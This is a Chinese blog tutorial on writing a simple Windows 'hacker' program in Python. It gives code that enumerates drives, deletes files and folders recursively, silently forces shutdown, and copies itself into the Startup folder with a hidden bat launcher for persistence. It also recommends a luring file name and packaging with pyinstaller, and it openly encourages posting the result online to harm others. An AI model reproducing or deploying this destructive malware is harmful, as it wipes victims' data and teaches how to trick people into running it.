点击上方“Python爬虫与数据挖掘”,进行关注
回复“书籍”即可获赠Python从入门到进阶共10本电子书
今
日
鸡
汤
一腔热血勤珍重,洒去犹能化碧涛。
/1 前言/
随着信息化时代的到来,人们对互联网接触越来越广泛,这样就使得很多人对于黑客充满向往,企图通过网络虚拟世界来做一些有趣的事情。
所以今天我们要说的工具就是:怎样利用Python做一个黑客软件。众所周知,一般的黑客对于黑操作系统一般常用手法莫过于发送木马客户端,修改系统注册表,组策略,获得开机启动权限,入侵电脑然后对电脑的文件进行修改来达到不可告人的目的。
/2 项目目标/
今天我们要讲的就是最基础的,怎样获得开机启动,先给大家讲最基础添加文件到系统启动项的文件夹中,当然更加高端点也可以使用注册表添加,这里不在累述。
/3 项目准备/
使用sublime text 3编写 Python 代码,并一步一步实现相应过程。
/4 实现步骤/
1、首先我们通过社会工程学进行一个分析,准备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的欲望;等到别人点击了之后了这个程序是没有任何响应的,那么有的人也许会多点几下程序,当然这也对程序没有任何影响。
2、首先我们得获取系统盘盘符,这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。
import os
print(os.getenv('SystemDrive'))
aa=os.getenv('SystemDrive')
os.chdir(aa+'\\\\') \#修改当前目录
os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中
path = r"C:\\Users\\Administrator\\Desktop\\sa"
os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。
os.walk() 方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。
语法:
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])
参数:
top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,
filenames)【文件夹路径, 文件夹名字, 文件名】
topdown --可选,为True或者没有指定
一个目录的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。
如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生
(目录自下而上)。
onerror -- 可选,是一个函数; 它调用时有一个参数, 一个OSError实例。报告这错误后,继续walk, 或者抛出exception终止walk。
for root,dirs,files in os.walk(path,topdown=False):\#遍历目录
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))
5、得到了系统盘符之后,我们还想得到系统其他盘符那该怎么办了,不着急,我们可以试试下面这种方法。
import os
import string
def get_pan():
disk_list=[] \#磁盘盘符列表
for p in string.ascii_uppercase: \#遍历所有大写字母
disk=p+':'
if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头
disk_list.append(disk) \#添加到盘符列表
return disk_list
print(get_pan()) #打印盘符
结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了。
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
for y in g:
for root, dirs, files in os.walk(y,topdown=False):\#遍历目录
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))
8、删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机。shutdown ,我的不二选择,这里我们调用命令:
os.popen('shutdown /f /sg')
参数说明:
/f 强制关闭正在运行的应用程序而不事先警告用户。
/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。
这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈。
9、当然这个操作得是基于文件操作结束后进行的,再次进行优化。
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
for y in g:
try:
#遍历目录
for root, dirs, files in os.walk(y,topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))
time.sleep(1)
except Exception:
pass
finally:
os.popen('shutdown /f /sg')\#不弹出黑窗口
10、在这里我以Python 和bat为主,因为我还没打包的缘故。
自启动目录路径:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
import shutil
shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start
Menu\\Programs\\StartUp\\gc1.py')
11、好了,现在可以了,效果如下所示。
12、然后我们还需要一个bat来启动它,因为没有bat他是需要借助外力去点击才有效果的,有了bat就可以自动启动。
建立一个后缀为bat的文件,内容如下:
同样的。我们还是需要我们的Python来智能产生bat文件那么该怎样写了,很简单,有人问我为什么是pythow不是Python,因为前者运行后没有黑窗口,当然不管是创建bat文件还是复制程序文件都最好在删除之后调用,有人问我,你的文件都删除完了,留那一个有何用,哈啊哈哈,我只能说,仅供娱乐。。。
13、回到正题,程序文件只需创建一个就ok。
14、这样就算是大功告成了,然后我们也可以把Python文件打包,这样bat文件里就不需要写解释器了,因为有的目标电脑可能没有Python环境,这个时候需要我们用pyinstaller打包一下。打包好了之后,直接把bat文件内容改为:
start gc.exe
就可以啦~~
打包成exe文件之后了,就可以发布到网上嚯嚯别人啦,哈哈哈~~
/5 小结/
1、本文章基于Python库,获取盘符信息,之后使用命令强制删除盘符下文件和自动关机功能,将程序封装打包,可打造一款简易的“黑客”工具。
2、总的来说就是介绍Python各个系统相关模块的使用,以及一些cmd命令的使用,难度不大,可以用作平时练手时用,比起专业的黑客技术来说,这个是小巫见大巫了。
------------------- End -------------------
往期精彩文章推荐:
欢迎大家点赞,留言,转发,转载,感谢大家的相伴与支持
想加入Python学习群请在后台回复【入群】
万水千山总是情,点个【在看】行不行
/今日留言主题/
随便说一两个您使用过的Python库~~